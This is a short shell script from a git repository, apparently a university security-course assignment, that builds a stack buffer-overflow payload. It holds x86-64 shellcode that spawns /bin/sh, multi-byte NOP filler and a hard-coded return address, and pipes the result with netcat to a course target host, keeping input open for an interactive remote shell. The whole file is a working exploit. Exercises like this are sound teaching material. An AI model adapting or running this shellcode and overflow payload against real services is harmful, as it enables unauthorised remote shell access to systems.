2f62e9000fff9ccd31eed33b72112237dfaaafab
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / exercise2e.sh
1 shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
2
3 #Illegal instruction
4 returnvalue="\x7f\xff\xf7\xff\xeb\x30"
5 fillers=$(printf "%42s" | sed 's/ /\\x0f\\x1f/g')
6
7 returnvalue="\x7f\xff\xf7\xff\xeb\x30"
8 fillers=$(printf "%39s" | sed 's/ /\\x0f\\x1f/g')
9
10
11 cat <(echo -e "${fillers}${shellcode}${returnvalue}\n") - | nc hackme.cs.ru.nl 2266